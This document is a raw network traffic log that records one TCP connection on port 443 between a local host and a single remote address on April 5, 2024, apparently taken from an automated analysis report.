Apr 5, 2024 20:10:30.491807938 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.491812944 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.491838932 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.491858959 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.492117882 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.492172956 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.494574070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.494582891 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.494647980 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.494653940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.496232033 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.496253967 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.496299982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.496304035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.496334076 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.497664928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.497679949 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.497719049 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.497723103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.497755051 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.498756886 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.498781919 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.498810053 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.498817921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.498826027 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.498843908 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.498883009 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.498887062 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.498924017 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.503901005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.503921032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.503961086 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.503968000 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.503994942 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.504017115 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.505995989 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.506012917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.506052017 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.506061077 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.506098032 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.506107092 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.507092953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.507107973 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.507153988 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.507157087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.507183075 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.507204056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.508168936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.508186102 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.508230925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.508234978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.508260012 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.508274078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.508281946 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.508285046 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.508305073 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.509135008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.509157896 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.509229898 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.509229898 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.509236097 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.510871887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.510886908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.510943890 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.510950089 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.513479948 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.513501883 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.513529062 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.513534069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.513578892 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.520226955 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.520241976 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.520287991 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.520294905 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.520320892 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.520386934 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.520430088 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.520435095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.520474911 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.521915913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.521931887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.521970987 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.521975040 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.522011042 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.522821903 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.522836924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.522877932 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.522882938 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.522907972 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.522919893 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.523564100 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.523580074 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.523624897 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.523628950 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.523667097 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.524674892 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.524692059 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.524729013 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.524735928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.524760962 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.524779081 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.524786949 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.524835110 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.525985956 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.526004076 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.526051044 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.526056051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.527156115 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.527174950 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.527220011 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.527224064 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.527245998 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.527533054 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.527549982 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.527607918 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.527614117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.527626991 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.527905941 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.527925014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.527951002 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.527955055 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.527964115 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.527976990 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.528012037 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.528016090 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.528052092 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.528318882 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.528336048 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.528388023 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.528392076 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.528438091 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.528925896 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.528965950 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.528979063 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.528985023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.529026985 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.529036999 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.529220104 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.529237032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.529277086 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.529284954 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.529305935 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.529335976 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.529622078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.529639006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.529685974 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.529707909 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.529712915 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.529736996 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.529762030 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.530062914 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.530080080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.530108929 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.530112982 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.530139923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.530155897 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.530556917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.530574083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.530618906 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.530622959 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.530658007 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.530951023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.530967951 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.531023979 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.531028986 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.531070948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.531574011 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.531589985 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.531625986 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.531646967 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.531651974 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.531677008 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.531694889 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.532922029 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.532947063 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.532974005 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.532979012 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.533009052 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.533032894 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.534044027 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.534065962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.534110069 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.534116030 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.534142971 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.534163952 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.536170006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.536192894 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.536231995 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.536242008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.536261082 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.536319017 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.539092064 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.539108992 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.539154053 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.539160013 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.539181948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.539203882 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.539206982 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.539216995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.539251089 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.539849997 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.539866924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.539900064 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.539904118 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.539931059 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.540848970 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.540869951 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.540901899 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.540905952 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.540940046 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.541580915 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.541594982 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.541637897 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.541651964 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.542480946 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.542500019 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.542530060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.542534113 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.542550087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.542573929 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.542598963 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.542603016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.542640924 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.543183088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.543198109 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.543242931 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.543250084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.543287992 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.543653011 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.543668985 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.543697119 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.543701887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.543735981 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.543747902 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.544246912 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.544261932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.544295073 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.544298887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.544323921 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.544343948 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.545073032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.545090914 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.545120001 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.545124054 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.545133114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.545154095 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.545177937 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.545181990 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.545541048 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.545559883 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.545584917 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.545589924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.545627117 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.546000004 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.546015024 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.546055079 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.546061039 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.546374083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.546400070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.546442032 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.546447992 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.546471119 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.546726942 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.546741962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.546780109 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.546782017 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.546789885 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.546823978 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.547111988 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.547141075 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.547166109 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.547172070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.547197104 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.547641993 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.547662973 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.547691107 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.547696114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.547735929 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.548028946 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.548043966 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.548068047 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.548075914 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.548101902 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.548404932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.548427105 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.548453093 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.548456907 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.548484087 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.548495054 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.548544884 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.548549891 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.548589945 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.548835039 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.548850060 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.548894882 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.548898935 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.548945904 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.560411930 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.560430050 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.560486078 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.560492039 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.560535908 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.561717987 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.561733961 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.561786890 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.561790943 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.561824083 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.563657999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.563673973 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.563718081 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.563719034 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.563726902 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.563767910 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.563786983 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.565501928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.565524101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.565556049 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.565561056 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.565594912 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.567547083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.567564964 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.567605019 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.567610979 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.567636013 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.567663908 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.569155931 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.569176912 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.569219112 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.569225073 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.569248915 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.569272041 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.570936918 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.570955038 CEST	443	49727	140.82.114.10	192.168.2.6
